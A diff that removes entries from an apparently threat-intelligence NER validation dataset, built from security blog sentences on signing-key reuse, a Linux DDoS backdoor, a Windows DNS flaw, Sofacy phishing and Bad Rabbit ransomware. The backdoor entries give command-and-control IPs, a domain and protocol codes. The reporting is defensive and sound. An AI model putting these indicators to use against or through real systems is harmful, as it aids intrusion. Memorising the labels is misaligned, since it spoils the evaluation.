diff --git "a/validation.jsonl" "b/validation.jsonl"
--- "a/validation.jsonl"
+++ "b/validation.jsonl"
@@ -1,1460 +1,460 @@
-{"id":1461,"text":" Figure 2  ","entities":[],"relations":[],"Comments":[]}
-{"id":1462,"text":"As we see in this distribution, a lot of developers sign different apps with the same certificate.","entities":[],"relations":[],"Comments":[]}
-{"id":1463,"text":"We further investigated the following cases:  ","entities":[],"relations":[],"Comments":[]}
-{"id":1464,"text":"1. Signing apps with a publicly known private key  Many key pairs are well known in the development community.","entities":[],"relations":[],"Comments":[]}
-{"id":1465,"text":"The most famous set of key pairs would be the key pairs included within the AOSP source files (in Table 1, below).  ","entities":[{"id":46774,"label":"SOFTWARE","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":1466,"text":"More key pairs can be found in developer forums and academic research.","entities":[],"relations":[],"Comments":[]}
-{"id":1467,"text":" Table 1  If one app is signed using the publicly known private keys, it is easy for other apps on the same device to replace this vulnerable app with another APK file, silently with no user knowledge or interaction.","entities":[],"relations":[],"Comments":[]}
-{"id":1468,"text":" We scanned our inventory of APK files downloaded from the Google Play Store and found at least 87 apps using the “testkey” in Table 1.","entities":[{"id":46775,"label":"SOFTWARE","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":1469,"text":"According to the Google Play Store, these 87 apps have been downloaded more than 1.6 million times.","entities":[{"id":46776,"label":"SOFTWARE","start_offset":17,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":1470,"text":"For security reasons we are not posting the names of any of these apps.","entities":[],"relations":[],"Comments":[]}
-{"id":1471,"text":"Under no circumstances should developers ever use private keys that are publicly available, nor should users download them.","entities":[],"relations":[],"Comments":[]}
-{"id":1472,"text":"However, it isn’t easy for users to know the app they’re downloading is using a compromised private key – the onus for this is squarely on developers.","entities":[],"relations":[],"Comments":[]}
-{"id":1473,"text":" 2. Mobile banking apps sharing one single key  Mobile banking apps are particularly sensitive with significant security concerns, which is why we were surprised to discover one certificate was used to sign more than 300 mobile banking apps in the Google Play Store.","entities":[{"id":46777,"label":"SOFTWARE","start_offset":248,"end_offset":265}],"relations":[],"Comments":[]}
-{"id":1474,"text":"This practice is not necessarily dangerous, as long as the developer does not share the key with the various banks that contracted the applications.","entities":[],"relations":[],"Comments":[]}
-{"id":1475,"text":" We’ve contacted the developer to confirm they have retained sole custody of the keys.","entities":[],"relations":[],"Comments":[]}
-{"id":1476,"text":"Of course, even with out-sourced application development, app owners should prefer to hold their own key.","entities":[],"relations":[],"Comments":[]}
-{"id":1477,"text":"Whoever controls the key controls updates for the application forever, and a key shared between applications in this way can never be transferred to a financial institution without compromising the security of all of the other apps signed with it.","entities":[],"relations":[],"Comments":[]}
-{"id":1478,"text":"The developer is aware of this concern and plans to encourage more of its customers to sign their own applications in the coming year.","entities":[],"relations":[],"Comments":[]}
-{"id":1479,"text":"In addition to our research, the Baidu Security team in China recently found 23 mobile banking apps sharing the same certificate hosted by a third party app developer and reported the discovery to the CNCERT in China.","entities":[{"id":45023,"label":"location","start_offset":56,"end_offset":61},{"id":45025,"label":"location","start_offset":211,"end_offset":216},{"id":45026,"label":"identity","start_offset":201,"end_offset":207},{"id":45024,"label":"identity","start_offset":33,"end_offset":52}],"relations":[{"id":58,"from_id":45026,"to_id":45025,"type":"located-at"},{"id":219,"from_id":45024,"to_id":45023,"type":"located-at"}],"Comments":[]}
-{"id":1480,"text":" 3. Third party app developers using the same key for all apps generated for all customers  ","entities":[],"relations":[],"Comments":[]}
-{"id":1481,"text":"The app developer industry is booming.","entities":[],"relations":[],"Comments":[]}
-{"id":1482,"text":"These developers help customers build mobile apps for their businesses easily and quickly.","entities":[],"relations":[],"Comments":[]}
-{"id":1483,"text":"They serve an important role for the majority of businesses that do not have in-house developers.","entities":[],"relations":[],"Comments":[]}
-{"id":1484,"text":"Unfortunately, we uncovered some of these developers using the same certificate for every app.","entities":[],"relations":[],"Comments":[]}
-{"id":1485,"text":"Again, using the same private key is probably due to the convenience in app management.","entities":[],"relations":[],"Comments":[]}
-{"id":1486,"text":"But as we noted earlier, apps signed by the same certificate can automatically grant sharing relationships amongst themselves.","entities":[],"relations":[],"Comments":[]}
-{"id":1487,"text":" This means all of the apps created by these developers, regardless of intended use, could be used maliciously.","entities":[],"relations":[],"Comments":[]}
-{"id":1488,"text":"Table 2 shows select top app developers using the same certificate in signing all their apps.","entities":[],"relations":[],"Comments":[]}
-{"id":1489,"text":" For security reasons, we have masked the names.","entities":[],"relations":[],"Comments":[]}
-{"id":1490,"text":" Table 2  Digital certificates are a critical component of the security of Android apps.","entities":[{"id":46778,"label":"SOFTWARE","start_offset":75,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":1491,"text":"Unfortunately, many app developers in the Google Play Store have ignored these concerns in favor of convenience.","entities":[{"id":45027,"label":"SOFTWARE","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":1492,"text":"While in some cases that may be justified – the app may not contain any important or identifying information – in many of the cases we discovered it is not.","entities":[],"relations":[],"Comments":[]}
-{"id":1493,"text":"This poses great potential security risks to both app users and app owners.","entities":[],"relations":[],"Comments":[]}
-{"id":1494,"text":"We encourage developers to reconsider their stance on this issue and where necessary make changes before a significant security event happens.","entities":[],"relations":[],"Comments":[]}
-{"id":1495,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":1496,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":1497,"text":"A backdoor implant is an increasingly common mechanism for maintaining unauthorized access and control over a computer asset.","entities":[{"id":45029,"label":"attack-pattern","start_offset":71,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":1498,"text":"The terms remote administration tool (RAT) and trojan downloader are often used synonymously with such implants.","entities":[],"relations":[],"Comments":[]}
-{"id":1499,"text":"Once installed (i.e. implanted on a system), the modern backdoor typically offers much more than simple (i.e. command line) access to a system.","entities":[],"relations":[],"Comments":[]}
-{"id":1500,"text":" Depending on the backdoor’s specialization and sophistication, it can also capture keystrokes, take screenshots, scrape memory for valuable information, search for files meeting certain criteria, query databases, download files and additional malware, exfiltrate data and files, and even serve as an attack platform.","entities":[],"relations":[],"Comments":[]}
-{"id":1501,"text":"Effectively, a backdoor implant affects loss of control over a computer asset.","entities":[],"relations":[],"Comments":[]}
-{"id":1502,"text":" The tangible and intangible impacts of this loss of control vary based on respective backdoor capabilities, and may include the following: leakage of authentication credentials, loss of intellectual property, exposure of sensitive information, negative standing or reputation, and various levels of liability for actions executed on or from the compromised asset.","entities":[],"relations":[],"Comments":[]}
-{"id":1503,"text":" Recently Palo Alto Networks discovered a backdoor program ( md5: b826fb1253a52a3b53afa3b7543d7694, sha256: 6bedd1b0716fe7632188932451f75295346836545e6d2bfee1b56121e02ca110 ) that is used to control a linux operating system.","entities":[{"id":45032,"label":"SHA2","start_offset":108,"end_offset":172},{"id":45033,"label":"identity","start_offset":10,"end_offset":28},{"id":45031,"label":"MD5","start_offset":66,"end_offset":98},{"id":45034,"label":"SOFTWARE","start_offset":201,"end_offset":223}],"relations":[{"id":220,"from_id":45031,"to_id":45032,"type":"related-to"}],"Comments":[]}
-{"id":1504,"text":" This particular linux backdoor will install itself to \"\/usr\/bin\/btdaemon\" and create a startup service at \"\/etc\/init.d\/bluetoothdaemon\" with symbolic links so that it will run in any startup mode.  The file contents are a simple bash script that runs the original btdaemon file.","entities":[{"id":46779,"label":"FILEPATH","start_offset":56,"end_offset":73},{"id":46780,"label":"FILEPATH","start_offset":108,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":1505,"text":" The backdoor when run will create threads for each connection listed in its config file.  The sample that was caught by our systems contains 3 IP addresses in its config file.","entities":[],"relations":[],"Comments":[]}
-{"id":1506,"text":" For each IP address the btdaemon service will attempt to make a connection on UDP ports 53, 80, 110, and 443.","entities":[],"relations":[],"Comments":[]}
-{"id":1507,"text":" Upon successful connection it will send the string \"¡°MlCROS0FT|1.2 Apr 26 2014  02:37:05|Linux Kernel Version¡±\" and will wait for an \"Auth\" packet from the server.","entities":[],"relations":[],"Comments":[]}
-{"id":1508,"text":" If the backdoor receives a packet in the form of a \"cmdType|cmdBody\" it will check the cmdType list and execute the equivalent instruction.  Valid instructions are between 0-9 and there functionality varies depending on the command.","entities":[],"relations":[],"Comments":[]}
-{"id":1509,"text":" While running the btdaemon process also inspects whether there is an \".IptabLes\" or \".IptabLex\" local process, and sends back status for monitoring purposes.  If the \"disablerun\" command is sent the backdoor will download a file named \"run.txt\" from one of the following URLs:  The file data is in the format \"exe_path_1 | exe_path_2 | ... | exe_path_N\".  If none of the paths is correct then a \"getsetup.rar\" file is downloaded and run.","entities":[{"id":45035,"label":"FILEPATH","start_offset":397,"end_offset":409},{"id":45037,"label":"FILEPATH","start_offset":237,"end_offset":244}],"relations":[],"Comments":[]}
-{"id":1510,"text":"This is an ELF file and there are various encrypted portions within it.","entities":[],"relations":[],"Comments":[]}
-{"id":1511,"text":" There exist two embedded zlib-encrypted blocks at file offset 0x8C0C0 and 0xE6B40 respectively.","entities":[{"id":4493,"label":"tools","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":1512,"text":" When run if the filename does not include the \"IptabLes\" string then the data is decrypted, written to disk, and then executed, installing itself as a startup service on the machine and place itself in one of the following locations:  The second encrypted block is configuration data, which includes some IP addresses and DNS data which is used when it writes the first decrypted block to a file.","entities":[],"relations":[],"Comments":[]}
-{"id":1513,"text":" \"dns.po888.com|122.228.242.51|119.145.148.56|162.221.13.82\".","entities":[{"id":46781,"label":"DOMAIN","start_offset":2,"end_offset":15},{"id":46782,"label":"IPV4","start_offset":16,"end_offset":30},{"id":46783,"label":"IPV4","start_offset":31,"end_offset":45},{"id":46784,"label":"IPV4","start_offset":46,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":1514,"text":" If the file is run in a path including the \"IptabLes\" string then it installs itself as a startup service and proceeds into its main loop.","entities":[],"relations":[],"Comments":[]}
-{"id":1515,"text":" Either path the \"getsetup.rar\" file takes is meant to ensure that it is installed as a startup service, ensuring persistence.   Once the file is running it creates a process identifier (PID) so that only one instance is running at any given time.","entities":[{"id":46785,"label":"FILEPATH","start_offset":18,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":1516,"text":"The file will connect to an IP and port configured from the configuration data and sends along information that includes the cpu and memory information.","entities":[],"relations":[],"Comments":[]}
-{"id":1517,"text":" If the file does not receive any data within 30 seconds it will send a \"xy\" response back to the server.","entities":[],"relations":[],"Comments":[]}
-{"id":1518,"text":" If the file does receive data from the server in excess of 20 bytes it will be in the following format:  <2 byte data length><0xABCDEF88><zlib-encrypted data>  The decrypted data will contain the following fields:  The attack type field is used to determine if a SYN DDoS or DNS DDoS is used in an attack.","entities":[],"relations":[],"Comments":[]}
-{"id":1519,"text":" The Src IP Begin and End are the start and ending IP ranges used as a fake src addresses in the DNS DDoS.  The IP range can also be controlled by global variables within the binary itself as well.","entities":[],"relations":[],"Comments":[]}
-{"id":1520,"text":" If the received data has 0x22 as the first set of bytes then the received data will be in the following format:  <0x22><IP Address 1(4bytes)><IP Address 2 (4bytes)>  It will also do the following UDP connection test:  If the first value in the packet is 0xC8 then the file will set \"g_mainsrvinfo.srandipb\" and \"g_mainsrvinfo.srandipe\" and \"g_mainsrvinfo.udpport\" to the passed in values.","entities":[],"relations":[],"Comments":[]}
-{"id":1521,"text":" If the first value in the packet is 0xCC then the file will set \"g_mainsrvinfo.srandipb\" and \"g_mainsrvinfo.srandipe\".  If the first value in the packet is 0x33 the file will use tcp to download a file and execute it.","entities":[],"relations":[],"Comments":[]}
-{"id":1522,"text":" If the first value in the packet is 0x20 the file will delete all DDoS tasks.","entities":[],"relations":[],"Comments":[]}
-{"id":1523,"text":" If the first value in the packet is 0x10 then the file will send back the current socket handle as a response back.","entities":[],"relations":[],"Comments":[]}
-{"id":1524,"text":" Currently these IP addresses are alive and active.","entities":[],"relations":[],"Comments":[]}
-{"id":1525,"text":" Palo Alto Networks strongly recommends you inspect your systems and update your firewall rules and IPS systems.  Palo Alto Networks customers with active subscriptions to Threat Prevention are protected against these threats automatically, signature #13469 was released to protect against this specific threat.","entities":[{"id":46786,"label":"identity","start_offset":1,"end_offset":19},{"id":46787,"label":"identity","start_offset":114,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":1526,"text":" Similar to any other malware family or threat, Palo Alto Networks customers should use the entire security framework for threat mitigation and threat prevention coverage.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":46788,"label":"identity","start_offset":48,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":1527,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":1528,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":1529,"text":"This post is also available in:      日本語 (Japanese)  In July 2020, Microsoft released a security update, CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability, for a new remote code execution (RCE) vulnerability.","entities":[{"id":46789,"label":"TIME","start_offset":56,"end_offset":65},{"id":46790,"label":"identity","start_offset":67,"end_offset":76},{"id":46791,"label":"vulnerability","start_offset":105,"end_offset":118},{"id":46792,"label":"vulnerability","start_offset":121,"end_offset":176},{"id":46793,"label":"attack-pattern","start_offset":187,"end_offset":214}],"relations":[{"id":221,"from_id":46791,"to_id":46792,"type":"related-to"},{"id":223,"from_id":46793,"to_id":46791,"type":"targets"},{"id":222,"from_id":46793,"to_id":46792,"type":"targets"}],"Comments":[]}
-{"id":1530,"text":"   This vulnerability exists within the Microsoft Windows Domain Name System (DNS) Server due to the improper handling of certain types of requests, specifically over port 53\/TCP.","entities":[{"id":45039,"label":"SOFTWARE","start_offset":40,"end_offset":82},{"id":4560,"label":"identity","start_offset":40,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":1531,"text":"Exploitation of this vulnerability is possible by creating an integer overflow, potentially leading to remote code execution.","entities":[{"id":46794,"label":"attack-pattern","start_offset":103,"end_offset":124}],"relations":[],"Comments":[]}
-{"id":1532,"text":" This vulnerability only affects Windows DNS and the following builds of the Microsoft Windows operating system (OS):  ","entities":[{"id":46795,"label":"SOFTWARE","start_offset":33,"end_offset":44},{"id":46796,"label":"SOFTWARE","start_offset":77,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":1533,"text":"As always, we recommend our customers patch their systems as soon as possible.","entities":[],"relations":[],"Comments":[]}
-{"id":1534,"text":"Microsoft also provided a workaround in cases where patches are not immediately possible.","entities":[{"id":46797,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":1535,"text":"Please review KB4569509: Guidance for DNS Server Vulnerability CVE-2020-1350 for more details.","entities":[{"id":46798,"label":"vulnerability","start_offset":38,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":1536,"text":"   Palo Alto Networks Threat Prevention and Cortex XDR provide protection against the exploitation of this vulnerability:  Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":45043,"label":"identity","start_offset":123,"end_offset":141},{"id":45040,"label":"identity","start_offset":3,"end_offset":21},{"id":45041,"label":"SOFTWARE","start_offset":44,"end_offset":54},{"id":45042,"label":"SOFTWARE","start_offset":3,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":1537,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":1538,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":1539,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":1540,"text":"Overview Palo Alto Networks Unit 42 threat research team has just uncovered a new set of attacks by the Sofacy group using malicious emails targeting foreign affairs agencies and ministries in North America and Europe, including a European embassy in Moscow.","entities":[{"id":46799,"label":"identity","start_offset":9,"end_offset":56},{"id":46801,"label":"location","start_offset":193,"end_offset":206},{"id":46802,"label":"location","start_offset":211,"end_offset":217},{"id":46806,"label":"attack-pattern","start_offset":123,"end_offset":139},{"id":46808,"label":"location","start_offset":251,"end_offset":257},{"id":46807,"label":"identity","start_offset":231,"end_offset":247},{"id":46805,"label":"threat-actor","start_offset":104,"end_offset":116}],"relations":[{"id":226,"from_id":46805,"to_id":46806,"type":"uses"},{"id":227,"from_id":46807,"to_id":46808,"type":"located-at"},{"id":228,"from_id":46805,"to_id":46807,"type":"targets"},{"id":229,"from_id":46805,"to_id":46801,"type":"targets"},{"id":230,"from_id":46805,"to_id":46802,"type":"targets"}],"Comments":[]}
-{"id":1541,"text":"Given the significant activity attributed to Sofacy, and the new evidence directly targeting the diplomatic community, Palo Alto Networks wants to ensure that foreign affairs agencies around the world understand how the attacks are carried out, and what agencies and personnel can do to protect themselves.","entities":[{"id":46809,"label":"threat-actor","start_offset":45,"end_offset":51},{"id":46810,"label":"identity","start_offset":119,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":1542,"text":"The Sofacy Group (AKA APT28, Grizzly Steppe, Fancy Bear, STRONTIUM, Sednit, Tsar Team, Pawn Storm) is a well-known hacking organization widely reported to be associated with Russia by the US Intelligence Community, numerous media reports and other cybersecurity companies.","entities":[{"id":45045,"label":"threat-actor","start_offset":4,"end_offset":16},{"id":45046,"label":"threat-actor","start_offset":22,"end_offset":27},{"id":45051,"label":"threat-actor","start_offset":76,"end_offset":85},{"id":45052,"label":"threat-actor","start_offset":87,"end_offset":97},{"id":45053,"label":"location","start_offset":174,"end_offset":180},{"id":45054,"label":"identity","start_offset":188,"end_offset":213},{"id":45047,"label":"threat-actor","start_offset":29,"end_offset":43},{"id":45048,"label":"threat-actor","start_offset":45,"end_offset":55},{"id":45049,"label":"threat-actor","start_offset":57,"end_offset":66},{"id":45050,"label":"threat-actor","start_offset":68,"end_offset":74}],"relations":[{"id":59,"from_id":45045,"to_id":45053,"type":"located-at"},{"id":60,"from_id":45046,"to_id":45053,"type":"located-at"},{"id":62,"from_id":45048,"to_id":45053,"type":"located-at"},{"id":63,"from_id":45049,"to_id":45053,"type":"located-at"},{"id":64,"from_id":45050,"to_id":45053,"type":"located-at"},{"id":68,"from_id":45046,"to_id":45045,"type":"duplicate-of"},{"id":69,"from_id":45047,"to_id":45045,"type":"duplicate-of"},{"id":65,"from_id":45051,"to_id":45053,"type":"located-at"},{"id":66,"from_id":45052,"to_id":45053,"type":"located-at"},{"id":70,"from_id":45048,"to_id":45045,"type":"duplicate-of"},{"id":71,"from_id":45049,"to_id":45045,"type":"duplicate-of"},{"id":72,"from_id":45050,"to_id":45045,"type":"duplicate-of"},{"id":61,"from_id":45047,"to_id":45053,"type":"located-at"},{"id":73,"from_id":45051,"to_id":45045,"type":"duplicate-of"},{"id":74,"from_id":45052,"to_id":45045,"type":"duplicate-of"}],"Comments":[]}
-{"id":1543,"text":" Sofacy Group has been associated with many attacks against targets around the world, including the International Olympic Committee (IOC) in 2018, the World Anti-Doping Agency in 2016, the Dutch Safety Board in 2015, and German, French, Ukrainian, and Dutch political and military targets throughout 2014 through 2018.","entities":[{"id":46818,"label":"location","start_offset":221,"end_offset":227},{"id":46819,"label":"location","start_offset":229,"end_offset":235},{"id":46820,"label":"location","start_offset":237,"end_offset":246},{"id":46822,"label":"identity","start_offset":151,"end_offset":175},{"id":46812,"label":"identity","start_offset":100,"end_offset":137},{"id":46813,"label":"TIME","start_offset":141,"end_offset":145},{"id":46814,"label":"TIME","start_offset":300,"end_offset":304},{"id":46816,"label":"TIME","start_offset":179,"end_offset":183},{"id":46821,"label":"location","start_offset":252,"end_offset":257},{"id":46823,"label":"identity","start_offset":189,"end_offset":207},{"id":46824,"label":"identity","start_offset":258,"end_offset":288},{"id":46811,"label":"threat-actor","start_offset":1,"end_offset":13},{"id":46815,"label":"TIME","start_offset":313,"end_offset":317},{"id":46817,"label":"TIME","start_offset":211,"end_offset":215}],"relations":[{"id":231,"from_id":46811,"to_id":46812,"type":"targets"},{"id":232,"from_id":46811,"to_id":46822,"type":"targets"},{"id":233,"from_id":46811,"to_id":46823,"type":"targets"},{"id":234,"from_id":46811,"to_id":46824,"type":"targets"},{"id":236,"from_id":46824,"to_id":46818,"type":"located-at"},{"id":237,"from_id":46824,"to_id":46819,"type":"located-at"},{"id":238,"from_id":46824,"to_id":46820,"type":"located-at"},{"id":239,"from_id":46824,"to_id":46821,"type":"located-at"}],"Comments":[]}
-{"id":1544,"text":" How the Attacks are Carried Out: Via Email","entities":[],"relations":[],"Comments":[]}
-{"id":1545,"text":"These attacks begin with an email sent to a carefully chosen target in the agency.","entities":[],"relations":[],"Comments":[]}
-{"id":1546,"text":"The recent spoofed emails we have seen are forged to appear to come from Jane’s 360 Defense Events to tell the recipient about events coming up in 2018.","entities":[{"id":46825,"label":"TIME","start_offset":147,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":1547,"text":" The figure below shows an example.","entities":[],"relations":[],"Comments":[]}
-{"id":1548,"text":"Once the recipient opens the Excel spreadsheet, she or he does have trouble viewing the document: it opens as a blank spreadsheet.","entities":[{"id":45055,"label":"SOFTWARE","start_offset":29,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":1549,"text":"The attackers are relying on the recipient to follow the instruction in the email and click “Enable Content”.","entities":[],"relations":[],"Comments":[]}
-{"id":1550,"text":"You can see below what the spreadsheet looks like and the enable content button.","entities":[],"relations":[],"Comments":[]}
-{"id":1551,"text":"Clicking the “Enable Content” button is the key to the attack.","entities":[],"relations":[],"Comments":[]}
-{"id":1552,"text":"While it makes the text in the spreadsheet visible and so seems to solve the problem, it’s a trick: It’s really running a program that silently installs a program on the system.","entities":[],"relations":[],"Comments":[]}
-{"id":1553,"text":"This program gives the attackers complete control over the computer and can enable them to copy documents, usernames, passwords, account information and even take screenshots.","entities":[],"relations":[],"Comments":[]}
-{"id":1554,"text":"How you can protect yourself","entities":[],"relations":[],"Comments":[]}
-{"id":1555,"text":"There are several things that you can do to help protect against these latest Sofacy attacks and others like it.","entities":[{"id":46826,"label":"threat-actor","start_offset":78,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":1556,"text":" With the public awareness of this particular decoy, it is highly likely that the Sofacy group will shift their attacks to spoof emails from a different organization to continue carrying out these attacks.","entities":[{"id":46827,"label":"threat-actor","start_offset":82,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":1557,"text":" Additionally, this attack technique is not exclusive to the Sofacy Group.","entities":[{"id":45056,"label":"threat-actor","start_offset":61,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":1558,"text":"Therefore, these suggested actions can protect not just against these known attacks but others like it.","entities":[],"relations":[],"Comments":[]}
-{"id":1559,"text":" An unexpected email message with an attachment that says you should “enable content” has a high likelihood of being malicious in some way.","entities":[],"relations":[],"Comments":[]}
-{"id":1560,"text":"If you get an email like this, you shouldn’t open the attachment and click “enable content”.","entities":[],"relations":[],"Comments":[]}
-{"id":1561,"text":"Instead, you should verify that the message and the attachment are legitimate by contacting the sender in some way other than replying to the email (because replying to the email may go back to the attackers who will, of course, say it’s legitimate).","entities":[],"relations":[],"Comments":[]}
-{"id":1562,"text":"Or, just delete the message and report it to your security team.","entities":[],"relations":[],"Comments":[]}
-{"id":1563,"text":"Palo Alto Networks Unit 42 regularly researches threats like these and provides information about them on our blog.","entities":[{"id":45057,"label":"identity","start_offset":0,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":1564,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":1565,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":1566,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":1567,"text":"This Unit 42 blog post provides an update on the threat situation surrounding the Bad Rabbit ransomware attacks.","entities":[{"id":4684,"label":"identity","start_offset":5,"end_offset":12},{"id":4686,"label":"malware","start_offset":82,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":1568,"text":" Attack Overview","entities":[],"relations":[],"Comments":[]}
-{"id":1569,"text":" Bad Rabbit is a ransomware attack that, at the time of this writing, appears to primarily be affecting countries in Eastern Europe.","entities":[{"id":45059,"label":"malware","start_offset":1,"end_offset":11},{"id":45060,"label":"location","start_offset":117,"end_offset":131}],"relations":[{"id":75,"from_id":45059,"to_id":45060,"type":"targets"}],"Comments":[]}
-{"id":1570,"text":"While not spreading as widely as the Petya\/NotPetya attacks, reports indicate that where Bad Rabbit has hit, it has caused severe disruption.","entities":[{"id":4690,"label":"malware","start_offset":37,"end_offset":42},{"id":4691,"label":"malware","start_offset":43,"end_offset":51},{"id":4692,"label":"malware","start_offset":89,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":1571,"text":"The Ukrainian CERT has issued an alert on Bad Rabbit.","entities":[{"id":4696,"label":"malware","start_offset":42,"end_offset":52},{"id":46828,"label":"identity","start_offset":4,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":1572,"text":" As detailed below, Bad Rabbit gains initial entry by posing as an Adobe Flash update.","entities":[{"id":45062,"label":"malware","start_offset":20,"end_offset":30},{"id":45063,"label":"SOFTWARE","start_offset":67,"end_offset":78}],"relations":[{"id":240,"from_id":45062,"to_id":45063,"type":"related-to"}],"Comments":[]}
-{"id":1573,"text":"Once inside a network it spreads by harvesting credentials with the Mimikatz tool as well as using hard coded credentials.","entities":[{"id":46829,"label":"tools","start_offset":68,"end_offset":76},{"id":46830,"label":"attack-pattern","start_offset":36,"end_offset":58},{"id":46831,"label":"attack-pattern","start_offset":99,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":1574,"text":" Bad Rabbit is similar to Petya\/NotPetya insofar as it encrypts the entire disk.","entities":[{"id":4702,"label":"malware","start_offset":1,"end_offset":11},{"id":4703,"label":"malware","start_offset":26,"end_offset":31},{"id":4704,"label":"malware","start_offset":32,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":1575,"text":" We are not aware of any reports of successful recovery after paying the ransom.","entities":[],"relations":[],"Comments":[]}
-{"id":1576,"text":" Because the initial attack vector is through bogus updates, Bad Rabbit attacks can be prevented by only getting Adobe Flash updates from the Adobe web site.","entities":[{"id":4708,"label":"malware","start_offset":61,"end_offset":71},{"id":46832,"label":"SOFTWARE","start_offset":113,"end_offset":124},{"id":46833,"label":"identity","start_offset":142,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":1577,"text":" Reconnaissance  This attack does not appear to be targeted.","entities":[],"relations":[],"Comments":[]}
-{"id":1578,"text":"Therefore, there appears to be little reconnaissance as part of this attack.","entities":[],"relations":[],"Comments":[]}
-{"id":1579,"text":" Delivery\/Exploitation","entities":[],"relations":[],"Comments":[]}
-{"id":1580,"text":" According to ESET, the initial infection vector for Bad Rabbit is through a fake Adobe Flash update that is offered up from compromised websites.","entities":[{"id":4716,"label":"malware","start_offset":53,"end_offset":63},{"id":46834,"label":"identity","start_offset":14,"end_offset":18},{"id":46835,"label":"SOFTWARE","start_offset":82,"end_offset":93}],"relations":[{"id":241,"from_id":4716,"to_id":46835,"type":"related-to"}],"Comments":[]}
-{"id":1581,"text":"Proofpoint researcher Darien Huss‏ has reported this fake update was hosted at 1dnscontrol[.]com.","entities":[{"id":45064,"label":"identity","start_offset":0,"end_offset":10},{"id":45066,"label":"DOMAIN","start_offset":79,"end_offset":96},{"id":45065,"label":"identity","start_offset":22,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":1582,"text":"Reports differ on whether this is delivered through social engineering that convinces the user to install the fake update or if it is delivered silently through unpatched vulnerabilities (i.e. “drive-by” installs).  Lateral Movement","entities":[],"relations":[],"Comments":[]}
-{"id":1583,"text":" Once inside a network, Bad Rabbit propagates itself to other systems.","entities":[{"id":4721,"label":"malware","start_offset":24,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":1584,"text":"Reports indicate that it harvests credentials using Mimikatz and Maarten van Dantzig reports it also uses common hardcoded credentials to spread.","entities":[{"id":45067,"label":"tools","start_offset":52,"end_offset":60},{"id":45068,"label":"identity","start_offset":65,"end_offset":84},{"id":45069,"label":"attack-pattern","start_offset":25,"end_offset":45}],"relations":[{"id":76,"from_id":45069,"to_id":45067,"type":"uses"}],"Comments":[]}
-{"id":1585,"text":" Command and Control (C2)  At this time, we have no information on command and control for Bad Rabbit.","entities":[{"id":46836,"label":"malware","start_offset":91,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":1586,"text":" Conclusion  Bad Rabbit is not as widespread of an attack as Petya\/NotPetya but is causing severe disruptions where it is occurring.","entities":[{"id":4729,"label":"malware","start_offset":13,"end_offset":23},{"id":4730,"label":"malware","start_offset":61,"end_offset":66},{"id":4731,"label":"malware","start_offset":67,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":1587,"text":"It is similar to Petya\/NotPetya in terms of the impact of a successful attack.","entities":[{"id":45070,"label":"malware","start_offset":17,"end_offset":22},{"id":45071,"label":"malware","start_offset":23,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":1588,"text":"However, it is a different attack with different malware.","entities":[],"relations":[],"Comments":[]}
-{"id":1589,"text":" We will update this blog with new information as it becomes available.","entities":[],"relations":[],"Comments":[]}
